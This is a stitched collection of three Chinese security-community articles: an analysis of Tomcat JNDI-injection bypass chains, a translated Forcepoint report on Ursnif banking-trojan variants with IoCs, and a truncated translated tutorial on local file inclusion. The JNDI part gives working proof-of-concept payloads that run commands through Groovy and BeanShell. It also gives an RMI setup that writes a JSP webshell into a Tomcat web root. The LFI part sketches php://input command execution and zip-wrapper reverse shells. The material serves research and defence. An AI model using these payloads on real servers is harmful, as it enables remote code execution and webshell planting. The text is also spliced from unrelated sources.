//根据等号分割获取propName和param,如果没有等号则转成setter方法
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}
//通过propName和paramTypes获取Method并放到param中
try {
forced.put( , beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
}
}
* 下面获取引用对象中保存的所有属性，通过while循环遍历属性内容并赋值给valueArray作为参数最终通过invoke完成反射调用。这里需要注意的是 **反射调用是在while循环中的，所以可以调用多个方法** 。
//从引用对象中获取所有的属性
Enumeration e = ref.getAll();
//遍历属性
while(true) {
while(true) {
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}
· //获取属性
ra = (RefAddr)e.nextElement();
//获取propName
propName = ra.getType();
//如果propName是下面的值则跳过
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));
//获取属性中的内容
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
//根据propName从map中获取method
Method method = (Method)forced.get(propName);
if (method != null) {
//将属性中的内容赋给valueArray
valueArray[0] = value;
try {
//反射调用方法
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
}
所以通过上面的分析发现其实在`BeanFactory`中其实可以调用多个方法，但是这些方法必须都在同一个Class中。并且
**由于在这个过程中Class只被实例化了一次，因此可以通过调用不同的方法为Class的属性赋值** 。
下来再看这个poc就可以理解为什么可以这么构造了。
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
//指定要调用的方法名
ref.add(new StringRefAddr("forceString", "b=addURL,c=loadClass"));
//为不同的方法的参数赋值
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "Blue"));
return ref;
## 失败的UrlClassLoader调用链挖掘尝试
通过`Mlet`的加载虽然不能利用，但是我们也可以学习到`浅蓝`师傅挖掘调用链的思路，即通过UrlClassLoader的实现类寻找可以加载远程类的代码。
我们也可以尝试去挖掘对UrlClassLoader的调用，相关的调用需要满足以下条件：
* 存在public构造方法
* 继承UrlClassLoader并调用了loadClass方法
`WebappClassLoaderBase`似乎满足条件，虽然这个类本身没有public构造方法，但是其子类`WebappClassLoader`是有无参构造方法的。但是由于`WebappClassLoaderBase`的`addURL`方法不是public类型的，所以无法利用。
`org.codehaus.plexus.compiler.javac.IsolatedClassLoader`满足上面的条件，但是addURL方法的参数不是String类型，所以也无法利用。
public class IsolatedClassLoader extends URLClassLoader {
private ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();
public IsolatedClassLoader() {
super(new URL[0], (ClassLoader)null);
}
public void addURL(URL url) {
super.addURL(url);
}
public synchronized Class<?> loadClass(String className) throws ClassNotFoundException {
Class<?> c = this.findLoadedClass(className);
ClassNotFoundException ex = null;
if (c == null) {
try {
c = this.findClass(className);
} catch (ClassNotFoundException var5) {
ex = var5;
if (this.parentClassLoader != null) {
c = this.parentClassLoader.loadClass(className);
}
}
}
if (c == null) {
throw ex;
} else {
return c;
}
}
}
所以似乎没有其他可以直接利用的ClassLoader了。
## GroovyClassLoader执行命令分析
那么为什么`GroovyClassLoader`可以加载远程的class并执行里面的内容呢？
首先在`addClasspath`中会将我们传入的path转换为URI并添加到当前的`GroovyClassLoader`对象中。
public void addClasspath(final String path) {
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
try {
URI newURI;
//正则匹配\p{Alpha}[-+.\p{Alnum}]*:[^\\]*,如果我们传入的是http的url是不会被匹配到的
if (!GroovyClassLoader.URI_PATTERN.matcher(path).matches()) {
newURI = (new File(path)).toURI();
} else {
//根据传入的path构建url对象
newURI = new URI(path);
}
//获取GroovyClassLoader中保存的url
URL[] urls = GroovyClassLoader.this.getURLs();
URL[] arr$ = urls;
int len$ = urls.length;
//判断newURI是否在url列表中
for(int i$ = 0; i$ < len$; ++i$) {
URL url = arr$[i$];
if (newURI.equals(url.toURI())) {
return null;
}
}
//将url添加到GroovyClassLoader对象中
GroovyClassLoader.this.addURL(newURI.toURL());
} catch (MalformedURLException var7) {
} catch (URISyntaxException var8) {
}
return null;
}
});
}
`GroovyClassLoader#loadClass`首先通过UrlClassLoader根据我们传入的名称加载远程的Class，加载失败后则根据名称加载groovy，加载成功后会对远程加载的groovy代码编译。
public Class loadClass(String name, boolean lookupScriptFiles, boolean preferClassOverScript, boolean resolve) throws ClassNotFoundException, CompilationFailedException {
Class cls = this.getClassCacheEntry(name);
boolean recompile = this.isRecompilable(cls);
if (!recompile) {
return cls;
} else {
ClassNotFoundException last = null;
try {
//首先通过UrlClassLoader加载类加载成功则返回，失败则继续执行
Class parentClassLoaderClass = super.loadClass(name, resolve);
if (cls != parentClassLoaderClass) {
return parentClassLoaderClass;
}
} catch (ClassNotFoundException var19) {
last = var19;
} catch (NoClassDefFoundError var20) {
if (var20.getMessage().indexOf("wrong name") <= 0) {
throw var20;
}
last = new ClassNotFoundException(name);
}
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
String className = name.replace('/', '.');
int i = className.lastIndexOf(46);
if (i != -1 && !className.startsWith("sun.reflect.")) {
sm.checkPackageAccess(className.substring(0, i));
}
}
if (cls != null && preferClassOverScript) {
return cls;
} else {
if (lookupScriptFiles) {
try {
//从缓存中先获取Class
Class classCacheEntry = this.getClassCacheEntry(name);
if (classCacheEntry != cls) {
Class var24 = classCacheEntry;
return var24;
}
//根据名称获取远程groovy的url
URL source = this.resourceLoader.loadGroovySource(name);
Class oldClass = cls;
cls = null;
//编译groovy代码
cls = this.recompile(source, name, oldClass);
} catch (IOException var17) {
....
}
}
在`recompile`中判断URL是否是文件类型，如果不是则加载远程url中指定的groovy并进行parse。
protected Class recompile(URL source, String className, Class oldClass) throws CompilationFailedException, IOException {
if (source == null || (oldClass == null || !this.isSourceNewer(source, oldClass)) && oldClass != null) {
return oldClass;
} else {
synchronized(this.sourceCache) {
String name = source.toExternalForm();
this.sourceCache.remove(name);
//判断是否为本地file
if (this.isFile(source)) {
Class var10000;
try {
var10000 = this.parseClass(new GroovyCodeSource(new File(source.toURI()), this.config.getSourceEncoding()));
} catch (URISyntaxException var8) {
return this.parseClass(source.openStream(), name);
}
return var10000;
} else {
//加载url中指定的groovy
return this.parseClass(source.openStream(), name);
}
}
}
}
而在parseClass的过程中会执行`@ASTTest`中的代码，因此可以命令执行。
@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")})
class Person{}
在查找资料的过程中，发现[浅析JNDI注入Bypass](https:_www.cnblogs.com_welk1n_p_11066397)中也提到了Groovy的绕过利用,可以看到这里其实可以直接调用`GroovyClassLoader#parseClass`并传入我们构造好的内容执行命令。
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));
## 命令执行利用链挖掘
除了寻找UrlClassLoader加载远程类外，还有一个思路是寻找可以执行命令的点，那么为什么`ScriptEngine`作为JDK自带的可以执行命令的方式不行呢？
因为通过`ScriptEngine`来执行命令，都需要两个参数，所以不能通过ScriptEngine调用执行命令。
public Object eval(String script, Bindings bindings) throws ScriptException {
ScriptContext ctxt = getScriptContext(bindings);
return eval(script , ctxt);
}
public Object eval(Reader reader, ScriptContext ctxt) throws ScriptException {
return this.evalImpl(makeSource(reader, ctxt), ctxt);
}
尝试通过CodeQL找下`NashornScriptEngine#eval`的调用，确实也没有参数为string类型的调用，所以从原生的JDK中应该是找不到命令执行的点了。
除了上面列出的执行命令的方式外，`beanshell`也可以执行命令，并且满足我们的条件，因此也可以使用beanshell的利用方式。
ResourceRef ref = new ResourceRef("bsh.Interpreter", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=eval"));
ref.add(new StringRefAddr("a", "exec(\"cmd.exe /c calc.exe\")"));
return ref;
## MemoryUserDatabaseFactory利用链
上面的分析都是建立在Tomcat下的BeanFactory的利用下的，我们也可以寻找其他实现了ObjectFactory的类利用，浅蓝师傅找到的`MemoryUserDatabaseFactory`利用过程比较精彩，这里着重分析一下。
### XXE
`MemoryUserDatabaseFactory#getObjectInstance`首先创建一个`MemoryUserDatabase`对象，首先看下tomcat对这个对象的解释,和tomcat的用户有关，tomcat会将这个对象中的内容存储到xml中。
> UserDatabase的具体实现，它将所有已定义的用户、组和角色加载到内存中的数据结构中，并使用指定的XML文件进行持久存储。
创建`MemoryUserDatabase`后会从我们传入的引用对象中获取`pathname`、`database`、`readonly`并设置到新建的`MemoryUserDatabase`对象中。
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
//判断class是否是org.apache.catalina.UserDatabase
if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {
return null;
} else {
MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
RefAddr ra = null;
//从引用对象中获取pathname属性
ra = ref.get("pathname");
if (ra != null) {
//给database设置属性
database.setPathname(ra.getContent().toString());
}
//从引用对象中获取readonly属性
ra = ref.get("readonly");
if (ra != null) {
database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
}
//从引用对象中获取watchSource属性
ra = ref.get("watchSource");
if (ra != null) {
database.setWatchSource(Boolean.parseBoolean(ra.getContent().toString()));
}
//调用open
database.open();
//只有readonly属性为false才会进入save方法，readonly属性可以通过引用中获取
if (!database.getReadonly()) {
//调用save
database.save();
}
return database;
}
} else {
return null;
}
}
`open`方法会去加载远程的xml文件并进行解析。
public void open() throws Exception {
this.writeLock.lock();
try {
this.users.clear();
this.groups.clear();
this.roles.clear();
//从之前保存的属性中获取pathName
String pathName = this.getPathname();
//创建URI对象
URI uri = ConfigFileLoader.getURI(pathName);
URLConnection uConn = null;
try {
//请求url并获取内容
URL url = uri.toURL();
uConn = url.openConnection();
InputStream is = uConn.getInputStream();
this.lastModified = uConn.getLastModified();
Digester digester = new Digester();
try {
digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
} catch (Exception var28) {
log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), var28);
}
digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
//解析请求后的内容
digester.parse(is);
} catch (IOException var29) {
log.error(sm.getString("memoryUserDatabase.fileNotFound", new Object[]{pathName}));
} catch (Exception var30) {
this.users.clear();
this.groups.clear();
this.roles.clear();
throw var30;
} finally {
if (uConn != null) {
try {
uConn.getInputStream().close();
} catch (IOException var27) {
log.warn(sm.getString("memoryUserDatabase.fileClose", new Object[]{this.pathname}), var27);
}
}
}
} finally {
this.writeLock.unlock();
}
}
而在parse的过程中会对获取到的xml解析,因此存在xxe漏洞。
public Object parse(InputStream input) throws IOException, SAXException {
this.configure();
InputSource is = new InputSource(input);
this.getXMLReader().parse(is);
return this.root;
}
### RCE
前面也说过`MemoryUserDatabase`存储了Tomcat的用户信息并且会存储到xml，那么我们也知道tomcat中的用户信息是在`tomcat-users.xml`中的，所以是否我们直接在xml中构建一个我们已知账号密码的xml，让其加载。
在open方法加载远程xml并解析后，如果readonly属性我们设置为false会进入save方法保存xml。
save方法首先判断isWriteable是否为true,否则直接返回
public void save() throws Exception {
if (this.getReadonly()) {
log.error(sm.getString("memoryUserDatabase.readOnly"));
//判断isWriteable是否为true，否则直接返回
} else if (!this.isWriteable()) {
log.warn(sm.getString("memoryUserDatabase.notPersistable"));
} else {
File fileNew = new File(this.pathnameNew);
if (!fileNew.isAbsolute()) {
fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
}
在`isWriteable`中会将`catalina.base`和`pathname`拼接并判断其目录是否存在如果不存在则返回false。可以看到我们的url地址被处理为`\http:\127.0.0.1\tomcat-user.xml`这种形式，所以我们可以通过`[http://127.0.0.1/../../tomcat-user.xml](http://127.0.0.1/../../tomcat-user.xml)`来绕过，也不会影响xml的加载。
后面就是执行xml文件写入的功能，可以看到执行完后用户的配置文件已经写入到目标目录下，由于真正的配置是在conf目录下的，所以url中还要加个conf目录。
但是这种绕过方式和Tomcat的版本有关，在Tomcat8的open方法中是通过`ConfigFileLoader.getURI(pathName);`来获取xml的是可以加载远程XML的。
在Tomcat7版本中open方法中是通过`ConfigFileLoader.getInputStream(pathName);`获取的。
在`getInputStream`中首先通过file协议加载加载失败才会通过URL记载，所以在Tomcat7中不能通过这种方式直接RCE利用。
### 写文件利用（勘误）
在tomcat7的ConfigFileLoader#getInputStream中，只有当文件已经存在时才会通过FileInputStream加载，如果我们传入的文件不存在，还是会去远程加载文件。因此可以让目标加载我们写好的shell到web目录中。首先开启http服务，并创建webapps/ROOT/test.jsp文件，内容如下：
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec("calc.exe"); %>"/>
</tomcat-users>
这里还要写成XML的形式否则XML解析过程中会失败。开启RMI服务，代码如下：
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper war=new ReferenceWrapper(ref);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("xxx",war);
由于我们传入的文件名不存在，因此还是会加载远程文件。
最后成功在ROOT目录下写入jsp文件。
rolename中的内容也可以替换冰蝎马，只要HTML编码后即可。
## 总结
本文讨论的绕过主要是针对Tomcat下的利用，大多数的利用方式建立在tomcat的BeanFactory利用之上，通过上面的分析，我们对这些利用链的发现思路做一个总结。
* 寻找可以执行命令的函数，可以直接传入一个string参数执行命令（EL、MVEL、Groovy、Beanshell）
* 寻找UrlClassLoader，但是这种除了GroovyClassLoader比较特殊会在加载的过程中执行命令，其他实现UrlClassLoader的类加载后并不会实例化
* 已知存在漏洞的组件，可以直接传入String参数利用后间接执行命令(Xstrem、snakeyaml)
我们从利用的角度再思考一下，目前挖掘这么多利用链的方式其实主要是想解决tomcat低版本下的绕过，Tomcat原生的`MemoryUserDatabaseFactory`利用链非常精彩，可以通过写文件的方式利用，但是无法直接RCE，但是写文件的方式需要可以访问到ROOT目录或者知道web的目录，并不能百分百利用成功。也可以依赖一些命令执行或者存在漏洞的组件来利用，并不具备通用性。最后感谢`浅蓝`师傅的分享。
## 参考
[探索高版本 JDK 下 JNDI 漏洞的利用方法](https://tttang.com/archive/1405/)
[浅析JNDI注入Bypass](https:_www.cnblogs.com_welk1n_p_11066397) | 社区文章 |
# 揭秘银行木马Ursnif多个新变种的新特性
|
##### 译文声明
本文是翻译文章，文章来源：https://blogs.forcepoint.com/
原文地址：<https://blogs.forcepoint.com/security-labs/many-faces-ursnif-email-hijacking-mailslots-and-insecure-servers?sf88538136=1>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
自从大约两年前，恶意软件Ursnif/Gozi源代码泄露以来，已经发现有多起恶意软件活动都使用了Ursnif或其变种（例如GozNym）进行投递。
针对银行的恶意软件往往能获得比较高额的非法收益，因此会有许多网络犯罪分子在原始代码的基础上，对其进行修改，从而发起自己的恶意软件活动。我们此前已经讨论过一些早期的活动，但在过去的几周时间内，我们发现了一个原始Ursnif代码库的新分支，并持续对其进行研究。目前，这一恶意活动主要针对英国和意大利。
此前我们的研究成果，请参考下面两篇文章：
<https://blogs.forcepoint.com/security-labs/range-technique-permits-ursnif-jump-your-machine>
<https://blogs.forcepoint.com/security-labs/ursnif-variant-found-using-mouse-movement-decryption-and-evasion>
## 恶意软件的分发
在过去的恶意软件活动中，通常都依赖于发送恶意电子邮件来实现恶意软件的分发。在恶意电子邮件中，会包含一系列类型的附件，当附件被执行后，会从远程位置下载主要的Ursnif
Payload。然而，自2017年年底以来（ <https://blog.talosintelligence.com/2018/03/gozi-isfb-remains-active-in-2018.html>
），一些攻击者似乎采取了混合的方式，以类似于商业电子邮件欺骗（BEC）的方式来获取目标信任，从而“劫持”到正常的电子邮件往来。
攻击者在进行商业电子邮件欺骗时，往往会将目标锁定在经常有电子汇款和外部供应商合作的企业。攻击者通常会在目标企业的员工电脑上部署键盘记录器，或者针对目标企业的员工开展网络钓鱼攻击，从而获取到登录凭据。一旦获得登录凭据，攻击者就可以远程登录到该企业的电子邮件账户中，并监视目标企业内部的通信情况。如果发现该企业与其他一家供应商之间即将发生财务转移时，就会对电子邮件通信进行“劫持”，攻击者会利用一个内部邮箱或可信的发件人，向对方发送一个伪造的发票。
值得注意的是，由于攻击者已经监听了此前的邮件往来内容，所以这封“提供发票”的邮件可能会在正文中附带上此前两方邮件沟通的内容，目的在于为了欺骗收件人，让他点击这个伪造的发票，从而感染恶意软件。
在我们观察到的Ursnif活动中，被“劫持”的电子邮件不一定都和财务有关，但通常都涉及到企业与客户或供应商之间的通信。在回复的邮件中，包含完整的此前沟通内容，以及精确伪造后的邮件签名。
电子邮件的正文通常是一个简短的说明，例如“请查看附件”，用于引导收件人打开附件。
在我们此前记录的一个案例中，所使用的电子邮箱被监视长达7年，这意味着攻击者可能使用了一种新型但是仍有缺陷的全自动或半自动方式，来实现对目标邮箱的邮件往来监听。
### Payload
在这些邮件中，附件包含的内容并不是电子发票，而是一个Microsoft Word
OLE文档。在某些恶意活动中（但并非全部），该Word文档的还会使用能迷惑收件人的文件名称。
在文档中，包含一个或多个经过混淆后的宏，并显示一个嵌入式图像，试图诱导用户在Word默认禁用宏的情况下手动启用宏。在当前的恶意活动中，这些嵌入式图像中的文字，会根据收件人所在的地区进行翻译，以确保本地化。
对于一些不具有安全意识，在默认情况下启用宏的用户，该文档中的宏会立即执行，并从特定的下载服务器中下载另一个文件。
在该恶意软件最近的版本中，采取了两种不同的方式。一种是直接下载恶意可执行文件，另一种是首先下载一个经过混淆后的较小的JavaScript/PowerShell脚本，再通过该脚本下载最终Payload。尽管这些Payload的扩展名是
“.class”或“.yarn”，但它们实际上是包含Ursnif的可移植可执行（PE）文件。
下载请求通常类似于如下格式。
直接下载：
请求1 - hxxp://qwqw1e4qwe14we[.]com/KOM/testv.php?l=boun4.yarn
通过JS/PS间接下载：
请求1 - hxxp://qwundqwjnd[.]net/cachedmajsoea/index.php?e=kuuud
请求2 - hxxp://qwundqwjnd[.]net/lipomargara/kuuud.yarn
### 分发服务器
在我们的调查过程中，观察到每天都有多个分发域名被注册（新增）和被关闭。
这些服务器似乎会追踪自身的感染统计信息，由testv.php中的代码负责维护，并作为下载过程的一部分。这些统计信息可以通过查看stats.php页面获得，该页面会显示存储在服务器上的JSON文件（lex_192h.json）中记录的数据。
有趣的是，这些分发服务器似乎并不是特别关注OPSEC方面：JSON文件通常会包含文件名的统计信息，但对这些文件名的收集是以前的活动中所需的，目前已经不再需要。
类似的一个疏忽是，偶尔在打开的目录中会出现名为“crypt_xxxx_yyyy[a-z].exe”的文件，这些文件指向该活动中特有的某些僵尸网络，其中“yyyy”表示存储在Ursnif内部配置数据中的僵尸网络ID。
## 新旧结合的Ursnif代码
经过我们的统计，发现这些恶意活动的发起者有一部分人会避免修改Ursnif的核心代码，另一部分人会根据自身的能力对其进行修改。统计数据可以发送到Ursnif主C&C服务器，但前提是需要正确理解其通信代码，这种并行的通信方法说明，这些恶意活动的组织者与代码维护者不是同一个人（组织）。
尽管如此，作为该活动的一部分，Ursnif的代码仍然与此前存在一些变化：Ursnif下载的“.class”或“.yarn”文件与过去看到的其他“loader
+ DLL”解决方案不同，由此证明在该恶意活动中，修改了恶意文件的包装方式。
我们收集到的所有样本都具有相同的时间戳，时间戳显示为2018年4月17日，同时所有的样本都经过加壳（
<https://blogs.forcepoint.com/security-labs/part-one-security-performance-obfuscation-compression>
）。在加壳之后，文件大小从约700KB到2MB不等。在运行时，可执行文件会将原始Payload解压缩到内存之中，覆盖加壳代码本身，并将执行传递到下一层。在这个阶段，还有一段代码负责创建两个新线程，二者都使用到了邮槽（Mailslot）以进行通信。
### 邮槽（Mailslot）
邮槽是一个进程间通信（IPC）协议，该协议已经在Windows发行版本中存在了十多年。其在Ursnif环境下的目的非常简单，一个线程从内存中读取嵌入的数据，将其解压缩，并将结果写入到“.mailslotmsl0”中。另一个线程负责通过邮槽的方式从中取出数据。
在这里，之所以使用邮槽的通信方式是为了阻止研究人员对恶意软件的分析。此前曾发现过有恶意软件使用了“鼠标移动跟踪”技术（
<https://blogs.forcepoint.com/security-labs/ursnif-variant-found-using-mouse-movement-decryption-and-evasion> ），其目的也同样是为了阻碍研究人员的分析。
我们从邮槽中提取到数据，最终执行流会传递到一个DLL（crm.dll）上。crm.dll的主要功能是解压数据，并加载其最终阶段的DLL文件client.dll。这是执行链中的最后一步，在client.dll中包含Ursnif代码的主体及其配置数据，例如C&C地址、僵尸网络ID、超时等待时间等。
## 防护措施
在不同的攻击阶段，用户可以采取不同的方式免受此威胁的侵害：
第二阶段（诱导用户）：甄别与攻击相关的恶意邮件，避免打开这些邮件。
第五阶段（投放文件）：避免下载来历不明的附件，从而防止恶意文件被下载到电脑。
第六阶段（与命令和控制服务器通信）：阻断恶意软件与C&C服务器的通信。
## 总结
将新样本与此前发现的Ursnif变种进行比较，我们会发现其工作方式有一些显著的不同。例如，新样本没有使用TLS回调、引入了邮槽机制。这些都是基于原始代码所做出的改进。
在2018年5月中旬，我们似乎捕获到了一个新的变种，该变种支持“TLS回调”。由此似乎可以看出，有技术水平不同的多个网络犯罪组织正在试图改进原始代码。其中，不乏会有一少部分人有能力修改核心代码，而其他大多数人只会修改自定义的分发代码，并保持恶意软件的核心代码不变。
因此，目前存在大量Ursnif/Gozi的变种，但其目的仍然是一致的——窃取用户凭据和与银行相关的信息。
我们需要提醒广大用户，在收到电子邮件后，要谨慎打开附件。如果遇到了任何建议修改Word安全设置的文档，应保持警惕，避免按照文档中的要求进行修改。此外，在收到不同寻常的邮件时，应该注意发件人来源。
## IoC
### SHA1
018f88acc9591f0ca3fcfec9297297173c5b0232
0b0dab27ca660ba528a29de5bdf5a9af603a6e1a
185dba0cfdbf512fbf64ab41c0771f2784032a8a
1ffb6a64b703a2c40859b76a2335c724e5763806
220c38a509a2f0e62b279ad4f140e0aed79f2816
2540a48d0587ce4a9b6859282ec2993dc5fea95b
3787934bf18909a2f17eaf916a4ef38d94035ebf
3f772913f9fe8a1c448efba4412ac17ba66f5e94
3fb7059f1e10fef0052427b6324c2eab67140381
40f1ac132672b3b2006b2852e7b2bbaf5cff43ac
45fb72f34b8b018d9dc5730e22e9850951395c59
482ce27840693991d5bf7b8ee2d298aeb4f8db66
4b431fade4c87ac138923c59cba920e1219ab419
4f8a4b73e7537ec1d9ad5124c3d09235b6573a94
619af677b3754888296c1def52517eeeeb31058a
74ab56a3997606933795f6377c2f86df99d51810
79dde9c7e0cceee8e5d9626819e2c33f9cce0425
8be96462a9a47bb95e5bc9ab61315e38feda26b9
8c274f0b095f9533212d0171001d47e71919ddb2
8fde99d9727e7c431fd19ce68cff44835e33e43b
962905f9fba3aee435d12268d00dc6ff7cca14f9
9da4bb1b1c6730231924047266624ba439ad9d91
9def879bb4c602f9945cec3b554ce34b0708638d
acc225210a206b81e4b4e8669affbc21407a53fb
b061889548e9c23b02dcab0910952d686b58026f
b51f9dd4735d841e4c787be717a383eb2b2d979b
b7d8a0b1da3dde8dec1f121e9eceefbde02f2631
c5fe4bc083ae504b37277e5090a1413fe1afddc6
cf24b05895101663a1d7b0d4f671918c2d8e60ae
d69c31c87a10c940ca928aaf484b258c64e4c866
d8f028d06027718ff4d5d18a22d225e9bbd2fe0a
dfdbe5b5b5fdd28226771c95b0cf8f44f4710031
e24e85eb34ea9cb3b7ed7057e566d342a3b9b69c
e9e6821cf4ec1d55bc78de93fc0fe1b8a0f8c59e
edb7fe4cc6f05f5ae9ff6c3d1c7e8e237c6c679a
ee0620b09b374a49a10859d6877c45d988730498
eef49be4569f68de71c968fc38d7cfe5b5ac0eab
f64e25db4f2cfec731d40f7a5547b2b8e48cf9e3
f90e096dfe0a07d55ab9691c6db70faac924580e
### URL
hxxp://14ca1s5asc45[.]com
hxxp://9qwe8q9w7asqw[.]com
hxxp://asd5qwdqwe4qwe[.]com
hxxp://d4q9d4qw9d4qw9d[.]com
hxxp://dq9wq1wdq9wd1[.]com
hxxp://dqowndqwnd[.]net
hxxp://eq9we1qw1qw8[.]com
hxxp://fqw4q8w4d1qw8[.]com
hxxp://g98d4qwd4asd[.]com
hxxp://gtqw5dgqw84[.]com
hxxp://hhhasdnqwesdasd[.]com
hxxp://hhjfffjsahsdbqwe[.]com
hxxp://jjasdkeqnqweqwe[.]com
hxxp://kkjkajsdjasdqwec[.]com
hxxp://kkmmnnbbjasdhe[.]com
hxxp://mmmnasdjhqweqwe[.]com
hxxp://oiwerdnferqrwe[.]com
hxxp://ooaisdjqiweqwe[.]com
hxxp://oooiasndqjwenda[.]com
hxxp://oooiawneqweasd[.]com
hxxp://oqk4123613123[.]net
hxxp://oyiyuarogonase[.]net
hxxp://popopoqweneqw[.]com
hxxp://ppoadajsqwenqw[.]com
hxxp://ppoasdqnwesad[.]com
hxxp://pqwoeasodiqwejes232[.]com
hxxp://q5q1wdq41dqwd[.]com
hxxp://qiwjesijdqweqs[.]com
hxxp://qw6e54qwe54wq[.]com
hxxp://qw8e78qw7e[.]com
hxxp://qwd1q6w1dq6wd1[.]com
hxxp://qwd1qw8d4q1wd[.]com
hxxp://qwdohqwnduasndwjd212[.]com
hxxp://qwe1q9we1qwe51[.]com
hxxp://qwekasdqw8412[.]net
hxxp://qweoiqwndqw[.]net
hxxp://qwojdaisd1231[.]net
hxxp://qwqw1e4qwe14we[.]com
hxxp://qwqweqw4e1qwe[.]com
hxxp://qwundqwjnd[.]net
hxxp://r9qweq19w1dq[.]com
hxxp://rqw1qwr8qwr[.]com
hxxp://rrrradkqwdojnqwd[.]com
hxxp://sdf5wer4wer[.]com
hxxp://sdjqiweqwnesd[.]com
hxxp://t8q79q8wdqw1d[.]com
hxxp://tr8q4qwe41ewe[.]com
hxxp://tttiweqwneasdqwe[.]com
hxxp://uuasdjqwehnasd[.]com
hxxp://uurty87e8rt7rt[.]com
hxxp://uuyyhsdhasdbee[.]com
hxxp://wdojqnwdwd[.]net
hxxp://wdq9d5q18wd[.]com
hxxp://yyjqnwejqnweqweq[.]com | 社区文章 |
# 【技术分享】渗透测试技术之本地文件包含
|
##### 译文声明
本文是翻译文章，文章来源：exploit-db.com
原文地址：<https://www.exploit-db.com/docs/40992.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：190RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**概述**
****
通过加强对本地文件包含(LFI)渗透测试技术的研究，可以帮助渗透测试人员和学生在未来的渗透测试过程中，识别和测试LFI漏洞。在[Web程序渗透测试](https://www.aptive.co.uk/penetration-testing/web-application/)中，利用本文中的技术发现的LFI漏洞是渗透测试中的典型漏洞。此外，在本文中提到有一些技术，在CTF大赛中也经常被利用。
**什么是本地文件包含(LFI)漏洞?**
LFI允许攻击者通过浏览器包含一个服务器上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下，就有可能存在这个漏洞，该漏洞允许攻击者操纵输入数据、注入路径遍历字符、包含web服务器的其他文件。
**漏洞代码实例**
如下图，这是一个存在本地文件包含漏洞的PHP代码：
**在WEB应用程序中识别LFI**
LFI漏洞很容易被识别和利用。任何一个包含WEB服务器文件的脚本，对于下一步的LIF测试，都是一个很好的切入点，例如：
对于渗透测试人员，可以尝试通过操纵文件位置参数来利用它，就像是这样的：
上面是为了显示出在UNIX或LINUX系统中/etc/passwd文件的内容。
下图是在一个WEB应用程序中，成功利用LFI漏洞的例子：
**PHP封装**
PHP的大量封装经常被滥用，有可能导致绕过输入过滤。
**PHP Expect封装**
PHP的“expect://”允许执行系统命令，不过，PHP expect模块在默认情况下是没有启用的。
**PHP file://封装**
下图是一个带有payload的POST请求：
下图利用php://input攻击DVWA，包含了一个“ls”命令，如下：
攻击后的响应情况如下图：
**PHP php://filter**
PHP
php://filter允许渗透测试人员包含本地文件，并将输出数据用BASE64编码。当然，用BASE64编码的输出数据需要经过解码，还原出原始内容。
攻击实例如下：
运行结果如下：
然后对输出结果进行BASE64解码。
如上所示，已经还原出原始内容。
当然，php://filter也可以在不用BASE64编码(编码应该是为了隐藏目的)的情况下输出结果：
结果如下：
**PHP ZIP封装LFI**
PHP
ZIP封装主要在服务器端处理上传的.zip文件，攻击者可以通过一个存在漏洞的文件上传功能，上传一个ZIP文件，并通过LFI来执行服务器端的ZIP过滤器。一个典型的攻击实例看起来是这样的：
1.创建一个PHP反弹SHELL(SHELL.php)。
2.将其压缩成一个.zip文件。
